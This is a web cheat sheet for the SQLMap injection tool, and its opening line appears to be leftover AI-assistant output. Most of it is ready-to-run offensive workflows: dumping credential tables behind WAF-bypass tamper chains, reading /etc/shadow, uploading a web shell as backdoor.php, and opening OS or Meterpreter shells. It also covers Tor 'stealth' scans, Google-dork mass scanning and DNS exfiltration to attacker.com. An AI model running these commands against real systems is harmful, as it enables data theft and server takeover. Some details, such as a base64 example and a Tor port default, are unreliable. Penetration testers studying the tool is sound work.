PWN ^: Exploitation

SQLMap

SQLMap automated SQL injection: target flags, techniques, enumeration, dumping and tamper scripts.

intermediate updated 2026-08-09 SQLMap

SQLMap

I’ll conduct deep research to compile the ultimate SQLMap cheat sheet. Let me systematically gather comprehensive information on all aspects of SQLMap.

Ultimate SQLMap Cheat Sheet

⚠️ LEGAL DISCLAIMER: This cheat sheet is intended exclusively for authorized penetration testing and security assessments. Unauthorized access to computer systems is illegal. Always obtain explicit written permission before conducting security testing. The author assumes no liability for misuse.


1. Target Specification & Request Handling

Basic Target Specification

Flag/CommandDescriptionExample Usage
-u URLTarget URL with injectable parametersqlmap -u "http://site.com/page.php?id=1"
-d DSNDirect database connection stringsqlmap -d "mysql://user:pass@localhost:3306/db"
-r FILELoad HTTP request from file (Burp/ZAP export)sqlmap -r request.txt
-l FILEParse targets from Burp/WebScarab proxy logsqlmap -l burp_log.xml
-g DORKProcess Google dork results as targetssqlmap -g "inurl:'.php?id='"
-m FILEScan multiple targets from text filesqlmap -m targets.txt

Crawling & Discovery

Flag/CommandDescriptionExample Usage
--crawl=DEPTHCrawl website from target URL (finds GET params only)sqlmap -u "http://site.com" --crawl=3
--crawl-excludeExclude pages matching regex during crawlsqlmap --crawl=2 --crawl-exclude="logout"
-x FILEParse and test URLs from XML sitemapsqlmap -x http://site.com/sitemap.xml
--formsParse and test HTML forms on target pagesqlmap -u "http://site.com/login.php" --forms

Request Customization

Flag/CommandDescriptionExample Usage
--data=DATAPOST data string (use with -u)sqlmap -u "http://site.com/login" --data="user=admin&pass=test"
--method=METHODForce HTTP method (GET/POST/PUT/DELETE/PATCH)sqlmap -u "http://site.com/api" --method=PUT
--cookie=COOKIEHTTP Cookie header valuesqlmap -u "http://site.com" --cookie="PHPSESSID=abc123"
--headers=HEADERSExtra headers (newline-separated)sqlmap -u URL --headers="X-Forwarded-For: 1.2.3.4\nAccept: */*"
--referer=REFERERHTTP Referer headersqlmap -u URL --referer="http://google.com"
--user-agent=UACustom User-Agentsqlmap -u URL --user-agent="Mozilla/5.0..."
--random-agentUse randomly selected User-Agentsqlmap -u URL --random-agent
--mobileImitate smartphone User-Agentsqlmap -u URL --mobile
--host=HOSTCustom HTTP Host headersqlmap -u URL --host="target.local"

Authentication

Flag/CommandDescriptionExample Usage
--auth-type=TYPEHTTP authentication (Basic/Digest/NTLM/PKI)sqlmap -u URL --auth-type=Basic --auth-cred="user:pass"
--auth-cred=CREDAuthentication credentials (username:password)sqlmap -u URL --auth-type=Digest --auth-cred="admin:secret"
--auth-file=FILEHTTP authentication PEM cert/private key filesqlmap -u URL --auth-type=PKI --auth-file=key.pem

Custom Injection Points

Flag/CommandDescriptionExample Usage
-p PARAMETERTestable parameter(s)sqlmap -u URL -p "id,user"
--skip=PARAMSkip testing specific parameterssqlmap -u URL --skip="csrf_token"
--param-excludeExclude parameters by regexsqlmap -u URL --param-exclude="token.*"
* (marker)Mark custom injection point in URL or datasqlmap -u "http://site.com/page?id=1*&user=admin"

Example: Testing POST Request from Burp Suite

# Save Burp request to request.txt, then:
sqlmap -r request.txt --batch --level=3 --risk=2

2. Optimization & Performance

Multithreading & Speed

Flag/CommandDescriptionExample Usage
--threads=NUMMax number of concurrent HTTP requests (default 1, max 10)sqlmap -u URL --threads=5
-oEnable all optimization switchessqlmap -u URL -o --threads=5
--predict-outputPredict common queries output (cannot use with --threads)sqlmap -u URL --predict-output

Connection Optimization

Flag/CommandDescriptionExample Usage
--keep-aliveUse persistent HTTP(s) connectionssqlmap -u URL --keep-alive
--null-connectionRetrieve page length without actual content (faster)sqlmap -u URL --null-connection
--timeout=SECSSeconds to wait before connection timeout (default 30)sqlmap -u URL --timeout=10
--retries=NUMRetries when connection timeout occurs (default 3)sqlmap -u URL --retries=5
--delay=SECSDelay in seconds between each HTTP requestsqlmap -u URL --delay=2

Session Management

Flag/CommandDescriptionExample Usage
--flush-sessionPermanently delete session data for current targetsqlmap -u URL --flush-session
--fresh-queriesIgnore session file data (don’t delete, just skip)sqlmap -u URL --fresh-queries
--purgeSafely remove all content from sqlmap data directorysqlmap --purge

Performance Optimization Example:

# Fast scan with optimizations
sqlmap -u "http://site.com/page?id=1" -o --threads=10 --keep-alive --batch

3. Injection Techniques & Detection

Technique Selection

CodeTechniqueDescription
BBoolean-based blindTrue/False logic to infer data
EError-basedExtract data from DBMS error messages
UUNION query-basedAppend UNION SELECT to retrieve data directly
SStacked queriesExecute additional SQL statements (required for command execution)
TTime-based blindUse database time delays to infer data
QInline queriesInline query injection (rare)
Flag/CommandDescriptionExample Usage
--technique=TECHSQL injection techniques to test (default: BEUSTQ)sqlmap -u URL --technique=BEUS (skip time-based)
--time-sec=SECSSeconds to delay for time-based blind (default 5)sqlmap -u URL --time-sec=10

Risk & Level Configuration

Flag/CommandDescriptionExample Usage
--level=LEVELTest depth (1-5, default 1). Level 2+ tests cookies, Level 3+ tests User-Agent/Referersqlmap -u URL --level=5
--risk=RISKRisk of tests (1-3, default 1). Higher includes OR-based and heavy queriessqlmap -u URL --risk=3

Level Details:

  • Level 1: Basic GET/POST parameters
  • Level 2: Adds HTTP Cookie values
  • Level 3: Adds User-Agent and Referer headers
  • Level 4: More extensive test coverage
  • Level 5: Maximal test coverage (slowest)

Risk Details:

  • Risk 1: Safe tests only
  • Risk 2: Adds heavy time-based queries
  • Risk 3: Adds OR-based injection (may UPDATE/DELETE data)

DBMS Specification

Flag/CommandDescriptionExample Usage
--dbms=DBMSForce backend DBMS (MySQL, Oracle, PostgreSQL, MSSQL, etc.)sqlmap -u URL --dbms=MySQL
--os=OSForce backend OS (Linux, Windows)sqlmap -u URL --os=Linux
--fingerprintExtensive DBMS version fingerprintingsqlmap -u URL --fingerprint
--bannerRetrieve DBMS bannersqlmap -u URL --banner

UNION-Specific Flags

Flag/CommandDescriptionExample Usage
--union-cols=RANGERange of columns to test in UNION (e.g., 1-20)sqlmap -u URL --union-cols=5-15
--union-char=CHARCharacter to use for bruteforcing column numberssqlmap -u URL --union-char=GH
--union-from=TABLETable name to use in FROM clause of UNIONsqlmap -u URL --union-from=users

Detection Methods

Flag/CommandDescriptionExample Usage
--string=STRINGString to match when query is TRUEsqlmap -u URL --string="Welcome"
--not-string=STRINGString to match when query is FALSEsqlmap -u URL --not-string="Invalid"
--regexp=REGEXPRegexp to match when query is TRUEsqlmap -u URL --regexp="user.*found"
--code=CODEHTTP code to match when query is TRUEsqlmap -u URL --code=200
--text-onlyCompare pages based on text content onlysqlmap -u URL --text-only
--titlesCompare pages based on title onlysqlmap -u URL --titles

Example: Aggressive Testing

sqlmap -u "http://site.com/page?id=1" --level=5 --risk=3 --technique=BEUST --batch

4. Enumeration (The “Takeover” Phase)

Database & User Information

Flag/CommandDescriptionExample Usage
--current-userRetrieve DBMS current usersqlmap -u URL --current-user
--current-dbRetrieve DBMS current databasesqlmap -u URL --current-db
--hostnameRetrieve server hostnamesqlmap -u URL --hostname
--is-dbaDetect if current user is DBAsqlmap -u URL --is-dba
--usersEnumerate DBMS userssqlmap -u URL --users
--passwordsEnumerate user password hashes (attempts to crack)sqlmap -u URL --passwords
--privilegesEnumerate user privilegessqlmap -u URL --privileges
--rolesEnumerate user rolessqlmap -u URL --roles

Database Enumeration

Flag/CommandDescriptionExample Usage
--dbsList all databasessqlmap -u URL --dbs
-D DATABASESpecify target databasesqlmap -u URL -D testdb --tables
--tablesList tables in database(s)sqlmap -u URL -D testdb --tables
-T TABLESpecify target tablesqlmap -u URL -D testdb -T users --columns
--columnsList columns in table(s)sqlmap -u URL -D testdb -T users --columns
-C COLUMNSpecify target column(s)sqlmap -u URL -D testdb -T users -C username,password --dump
--schemaEnumerate entire DBMS schemasqlmap -u URL --schema
--countRetrieve number of entries in table(s)sqlmap -u URL -D testdb -T users --count

Data Extraction

Flag/CommandDescriptionExample Usage
--dumpDump table entriessqlmap -u URL -D testdb -T users --dump
--dump-allDump all DBMS databases tablessqlmap -u URL --dump-all
--exclude-sysdbsExclude system databases during enumerationsqlmap -u URL --dump-all --exclude-sysdbs
--start=ROWFirst dump table entry to retrievesqlmap -u URL -D testdb -T users --start=50 --stop=100 --dump
--stop=ROWLast dump table entry to retrievesqlmap -u URL -D testdb -T users --start=1 --stop=10 --dump
--where=CLAUSEUse WHERE condition during table dumpsqlmap -u URL -D testdb -T users --dump --where="id>100"
--pivot-column=COLUse pivot column name for unique row identifierssqlmap -u URL --dump --pivot-column=id

Search Functions

Flag/CommandDescriptionExample Usage
--searchSearch for databases, tables, or columnssqlmap -u URL --search -C password
-C COLUMNSearch for column name(s)sqlmap -u URL --search -C "user,pass"
-T TABLESearch for table name(s)sqlmap -u URL --search -T "admin"
-D DATABASESearch for database name(s)sqlmap -u URL --search -D "prod"

Direct SQL Execution

Flag/CommandDescriptionExample Usage
--sql-query=QUERYExecute custom SQL statementsqlmap -u URL --sql-query="SELECT user()"
--sql-shellInteractive SQL shellsqlmap -u URL --sql-shell
--sql-file=FILEExecute SQL statements from filesqlmap -u URL --sql-file=queries.sql

Brute Force Discovery

Flag/CommandDescriptionExample Usage
--common-tablesCheck existence of common table namessqlmap -u URL --common-tables
--common-columnsCheck existence of common column namessqlmap -u URL -D testdb -T users --common-columns

Complete Enumeration Example

# Enumerate everything
sqlmap -u "http://site.com/page?id=1" -a --batch

# Target specific database and table
sqlmap -u URL --batch --dbs
sqlmap -u URL --batch -D webapp -T users --columns
sqlmap -u URL --batch -D webapp -T users -C id,username,password --dump

Output Formats:

Flag/CommandDescriptionExample Usage
--dump-format=FORMATDump data format (CSV, HTML, SQLITE)sqlmap -u URL --dump --dump-format=HTML
--csv-del=CHARCSV delimiter character (default ,)sqlmap -u URL --dump --csv-del=";"

5. System Access & File System

File System Operations

Flag/CommandDescriptionExample Usage
--file-read=FILERead file from the DBMS file systemsqlmap -u URL --file-read="/etc/passwd"
--file-write=LOCALLocal file to write to backend DBMSsqlmap -u URL --file-write="shell.php" --file-dest="/var/www/html/shell.php"
--file-dest=REMOTEAbsolute path to write file on backendSee above example

Note: File operations typically require DBA privileges and LOAD_FILE() (MySQL) or similar functions.

OS Command Execution

Flag/CommandDescriptionExample Usage
--os-cmd=CMDExecute single operating system commandsqlmap -u URL --os-cmd="whoami"
--os-shellInteractive operating system shell (requires stacked queries)sqlmap -u URL --os-shell
--os-pwnPrompt for OOB Meterpreter/VNC shell (requires stacked queries)sqlmap -u URL --os-pwn --msf-path="/opt/metasploit"
--msf-path=PATHPath to Metasploit Framework installationSee above example
--priv-escDatabase process user privilege escalationsqlmap -u URL --priv-esc

Requirements for OS Takeover:

  • Stacked queries support (S technique)
  • DBA privileges (usually)
  • File write permissions on web directory or xp_cmdshell (MSSQL)

Windows Registry Access

Note: Works with MySQL (via UDF), PostgreSQL, and MSSQL when stacked queries are supported.

Flag/CommandDescriptionExample Usage
--reg-readRead Windows registry key valuesqlmap -u URL --reg-read --reg-key="HKLM\Software\..." --reg-value="Version"
--reg-addWrite Windows registry key valuesqlmap -u URL --reg-add --reg-key="HKLM\..." --reg-value="Test" --reg-data="123" --reg-type=REG_SZ
--reg-delDelete Windows registry key valuesqlmap -u URL --reg-del --reg-key="HKLM\..." --reg-value="Test"
--reg-key=KEYRegistry key pathSee examples above
--reg-value=VALUERegistry key value nameSee examples above
--reg-data=DATARegistry key value dataSee examples above
--reg-type=TYPERegistry key value type (REG_SZ, REG_DWORD, etc.)See examples above

UDF Injection

Flag/CommandDescriptionExample Usage
--udf-injectInject custom user-defined functionssqlmap -u URL --udf-inject

File System Takeover Example

# Read sensitive file
sqlmap -u "http://site.com/page?id=1" --file-read="/etc/shadow" --batch

# Upload web shell
sqlmap -u URL --file-write="shell.php" --file-dest="/var/www/html/backdoor.php" --batch

# Get OS shell
sqlmap -u URL --os-shell --batch
# Then execute: whoami, id, uname -a

6. WAF Bypass & Tamper Scripts

WAF Detection

Flag/CommandDescriptionExample Usage
--check-wafCheck for WAF/IPS protectionsqlmap -u URL --check-waf
--skip-wafSkip WAF/IPS detection mechanismsqlmap -u URL --skip-waf

Tamper Script Usage

Flag/CommandDescriptionExample Usage
--tamper=SCRIPTUse tamper script(s) to modify injection payloadssqlmap -u URL --tamper=space2comment
Multiple tampersChain multiple tampers (comma-separated)sqlmap -u URL --tamper=between,randomcase,space2comment

Top 10 Tamper Scripts

Tamper ScriptDescriptionUse CaseExample Transformation
space2commentReplaces space with /**/Bypass basic space filtering, general WAF evasionSELECT id FROM usersSELECT/**/id/**/FROM/**/users
betweenReplaces > with NOT BETWEEN 0 AND #, = with BETWEEN # AND #Bypass operator blocking (CloudFlare, ModSecurity)id=1id BETWEEN 1 AND 1
randomcaseRandomizes character case in keywordsBypass case-sensitive filtersSELECTSeLeCt
charencodeURL-encodes all payload charactersBypass basic signature detection' OR 1=1%27%20%4F%52%20%31%3D%31
apostrophenullencodeReplaces apostrophe with %00%27Bypass magic_quotes and basic escaping'%00%27
base64encodeBase64 encodes entire payload (requires DBMS support for decoding)Advanced evasion for intelligent WAFsUNION SELECTVU5JT04gU0VMRUNUA==
unmagicquotesReplaces quote with multibyte combo %bf%27Bypass magic_quotes in PHP/MySQL (GBK charset required)'%bf%27
space2plusReplaces space with +Basic WAF evasion, URL encoding normalizationSELECT idSELECT+id
apostrophemaskReplaces apostrophe with UTF-8 full-width equivalentBypass basic apostrophe filtering'
securesphereSpecific tamper for Imperva SecureSphere WAFKnown Imperva bypassesAdds special chars/comments

DBMS-Specific Tampers

MySQL Tampers

Tamper ScriptDescriptionExample
space2mysqldashReplace space with -- followed by newlineSELECT idSELECT--[\n]id
space2hashReplace space with # followed by random string and newlineSELECT idSELECT#foo[\n]id
versionedkeywordsEnclose each keyword with MySQL version commentUNION SELECT/*!UNION*//*!SELECT*/
versionedmorekeywordsVersion comments around more keywordsExtended version of above

MSSQL Tampers

Tamper ScriptDescriptionExample
space2mssqlblankReplace space with random blank character from valid MSSQL setUses %01-%08, %0B, etc.
space2dashReplace space with -- followed by random stringSELECT idSELECT--foo[\n]id

ModSecurity Tampers

Tamper ScriptDescriptionExample
modsecurityversionedEmbraces query with versioned comment1 AND 1=11 /*!30000AND 1=1*/
modsecurityzeroversionedEmbraces query with zero-versioned comment1 AND 1=11 /*!00000AND 1=1*/

General Purpose Tampers

Tamper ScriptDescriptionUse Case
equaltolikeReplaces = with LIKEBypass = operator filtering
greatestReplaces > with GREATEST functionBypass comparison operator blocking
multiplespacesAdds multiple spaces around SQL keywordsConfuse signature-based detection
nonrecursivereplacementReplace keywords with double representationBypass filters using .replace() once (e.g., SESELECTLECTSELECT)

WAF Bypass Strategy Examples

Cloudflare Bypass:

sqlmap -u URL --tamper=between,randomcase,space2comment --random-agent --delay=2

ModSecurity Bypass:

sqlmap -u URL --tamper=modsecurityversioned,space2comment,between --level=5 --risk=3

Generic WAF Bypass with Tor:

sqlmap -u URL --tamper=apostrophemask,between,charencode,randomcase --tor --tor-type=SOCKS5 --check-tor --random-agent

Imperva SecureSphere Bypass:

sqlmap -u URL --tamper=securesphere,space2comment --random-agent

MySQL with magic_quotes:

sqlmap -u URL --tamper=unmagicquotes --dbms=MySQL

7. Advanced/Obscure Features

Proxy & Anonymity

Flag/CommandDescriptionExample Usage
--proxy=PROXYUse HTTP/SOCKS proxy (http://ip:port or socks5://ip:port)sqlmap -u URL --proxy="http://127.0.0.1:8080"
--proxy-cred=CREDProxy authentication credentialssqlmap -u URL --proxy=URL --proxy-cred="user:pass"
--proxy-file=FILELoad proxy list from filesqlmap -u URL --proxy-file=proxies.txt
--ignore-proxyIgnore system default proxy settingssqlmap -u URL --ignore-proxy
--torUse Tor anonymity networksqlmap -u URL --tor --tor-port=9050
--tor-port=PORTSet Tor proxy port (default 8118)See above
--tor-type=TYPETor proxy type (HTTP, SOCKS4, SOCKS5 - default SOCKS5)sqlmap -u URL --tor --tor-type=SOCKS5
--check-torCheck if Tor is used properlysqlmap -u URL --tor --check-tor

DNS Exfiltration

Flag/CommandDescriptionExample Usage
--dns-domain=DOMAINUse DNS exfiltration attack (out-of-band technique)sqlmap -u URL --dns-domain="attacker.com"

Requires: A DNS server under your control to capture subdomain queries containing exfiltrated data.

Second-Order Injection

Flag/CommandDescriptionExample Usage
--second-url=URLTarget URL for second-order responsesqlmap -u "http://site.com/post" --second-url="http://site.com/profile"
--second-req=FILELoad second-order HTTP request from filesqlmap -u URL --second-req=second.txt

Use Case: Inject payload on one page (e.g., registration), effect appears on another (e.g., profile page).

Custom Payload Manipulation

Flag/CommandDescriptionExample Usage
--eval=CODEEvaluate provided Python code before each requestsqlmap -u URL --eval="import hashlib; hash=hashlib.md5(id).hexdigest()"
--skip-urlencodeSkip URL encoding of payload datasqlmap -u URL --skip-urlencode

—eval Use Case: Generate dynamic tokens or hashes required by the application for each request.

HTTP Parameter Pollution (HPP)

Flag/CommandDescriptionExample Usage
--hppUse HTTP Parameter Pollution techniquesqlmap -u URL --hpp

Sends same parameter multiple times (e.g., ?id=1&id=2). Different servers parse this differently.

Chunked Transfer Encoding

Flag/CommandDescriptionExample Usage
--chunkedUse HTTP chunked transfer encoded POST requestssqlmap -u URL --data="..." --chunked

Use Case: Bypass WAFs that don’t properly handle chunked encoding.

CSRF Token Handling

Flag/CommandDescriptionExample Usage
--csrf-token=TOKENParameter name holding anti-CSRF tokensqlmap -u URL --data="..." --csrf-token="csrf_token"
--csrf-url=URLURL to extract anti-CSRF token fromsqlmap -u URL --csrf-token="token" --csrf-url="http://site.com/form"
--csrf-method=METHODHTTP method to use for CSRF token pagesqlmap -u URL --csrf-token="token" --csrf-method=GET

SQLMap will automatically extract and include the CSRF token in each request.

Safe URL Visits

Flag/CommandDescriptionExample Usage
--safe-url=URLRegularly visit this URL during testingsqlmap -u URL --safe-url="http://site.com/keepalive"
--safe-freq=NUMTest requests between visits to safe URLsqlmap -u URL --safe-url=URL --safe-freq=5

Use Case: Keep session alive or bypass rate limiting by visiting benign pages periodically.

Scope Control

Flag/CommandDescriptionExample Usage
--scope=REGEXFilter targets from proxy log by regexsqlmap -l burp.log --scope=".*\.target\.com.*"
--test-filter=FILTERFilter tests by payloads/titlessqlmap -u URL --test-filter="ROW"
--test-skip=FILTERSkip tests by payloads/titlessqlmap -u URL --test-skip="BENCHMARK"

Output & Logging

Flag/CommandDescriptionExample Usage
--output-dir=DIRCustom output directory pathsqlmap -u URL --output-dir="/tmp/scan"
-t FILELog all HTTP traffic to text filesqlmap -u URL -t traffic.log
--traffic-file=FILEAlternative syntax for traffic loggingsqlmap -u URL --traffic-file=http.log
--har=FILELog all HTTP traffic to HAR filesqlmap -u URL --har=traffic.har
--batchNever ask for user input (use defaults)sqlmap -u URL --batch
--answers=ANSWERSSet predefined answers (e.g., crack=N)sqlmap -u URL --answers="crack=N,follow=N"

Verbosity & Debugging

Flag/CommandDescriptionExample Usage
-v LEVELVerbosity level (0-6, default 1)sqlmap -u URL -v 3
--parse-errorsParse and display DBMS error messagessqlmap -u URL --parse-errors
--wizardInteractive wizard mode for beginnerssqlmap --wizard
--beepBeep on question/injection foundsqlmap -u URL --beep
--alert=CMDRun OS command when injection foundsqlmap -u URL --alert="notify-send 'Found!'"

Verbosity Levels:

  • 0: Show only errors and critical messages
  • 1 (default): Info, warnings, errors, critical
  • 2: Add debug messages
  • 3: Show payloads being sent
  • 4: Show HTTP requests
  • 5: Show HTTP response headers
  • 6: Show HTTP response content (full)

Maintenance

Flag/CommandDescriptionExample Usage
--updateUpdate SQLMap to latest development versionsqlmap --update
--dependenciesCheck for missing dependenciessqlmap --dependencies

Miscellaneous Advanced Flags

Flag/CommandDescriptionExample Usage
--invalid-bignumUse big numbers for invalidating parameter valuessqlmap -u URL --invalid-bignum
--invalid-logicalUse logical operations for invalidating valuessqlmap -u URL --invalid-logical
--common-filesCheck for common files on DBMS file systemsqlmap -u URL --common-files
-a / --allRetrieve everything (banner, users, db, tables, columns, dump)sqlmap -u URL -a --batch

Practical Workflow Examples

1. Quick Vulnerability Assessment

sqlmap -u "http://target.com/page?id=1" --batch --level=3 --risk=2 --dbs

2. Authenticated POST Request Testing

# Capture request in Burp, save to req.txt
sqlmap -r req.txt --batch --level=2 --current-db --tables

3. Dump Specific Table with WAF Bypass

sqlmap -u URL -D webapp -T users -C username,password,email --dump \
  --tamper=between,randomcase,space2comment \
  --random-agent \
  --threads=5 \
  --batch

4. OS Shell Access

sqlmap -u URL --batch --level=3 --risk=3 --os-shell
# Requires: stacked queries support, DBA privileges

5. Tor + Tamper + Slow Scan (Stealth)

sqlmap -u URL \
  --tor --tor-type=SOCKS5 --check-tor \
  --tamper=space2comment,randomcase \
  --random-agent \
  --delay=3 \
  --level=3 \
  --batch

6. Complete Enumeration with Output

sqlmap -u URL -a \
  --dump-all \
  --exclude-sysdbs \
  --output-dir=/tmp/sqlmap_results \
  --dump-format=CSV \
  --batch

7. Google Dork Mass Scanning

sqlmap -g "inurl:'.php?id=' site:target.com" \
  --batch \
  --level=2 \
  --threads=5 \
  --dbs

8. Second-Order Injection

# Inject payload on registration page, check profile page for effect
sqlmap -u "http://site.com/register" \
  --data="username=test&email=test@test.com" \
  --second-url="http://site.com/profile" \
  --batch

9. CSRF Token Handling + Auth

sqlmap -u "http://site.com/search" \
  --cookie="PHPSESSID=abc123" \
  --data="q=test&csrf=placeholder" \
  --csrf-token="csrf" \
  --csrf-url="http://site.com/search" \
  --batch

10. DNS Exfiltration (Blind + Firewall Bypass)

sqlmap -u URL --dns-domain="attacker.com" --batch
# Requires: DNS server under your control listening for subdomain queries

Quick Reference: Common DBMS Injection Spots

DBMSKey FunctionsFile ReadFile WriteCommand Exec
MySQLLOAD_FILE(), INTO OUTFILE✓ (requires perms)Via UDF (DBA only)
MSSQLxp_cmdshell, OPENROWSET✓ (BULK INSERT)✓ (via xp_cmdshell)
PostgreSQLCOPY, pg_read_file()✓ (via COPY TO PROGRAM)
OracleUTL_FILE, DBMS_LOB✓ (DBA)✓ (DBA)Via Java stored procedures (DBA)
SQLiteload_extension()✗ (limited)✗ (limited)Via custom extension (rare)

Final Notes

  • Always test in authorized environments only.
  • Combine flags intelligently: high --level/--risk with --threads can overwhelm servers.
  • Use --batch for automated scans; remove for manual control.
  • When WAF detected, chain multiple tampers: --tamper=between,randomcase,space2comment,charencode.
  • For maximum stealth: --tor, --random-agent, --delay, single thread.
  • Session management: Use --flush-session when changing targets or flags significantly.
  • RTFM: sqlmap -hh for advanced help.

This cheat sheet is comprehensive but not exhaustive. Always refer to the official SQLMap documentation and use -hh for complete flag details.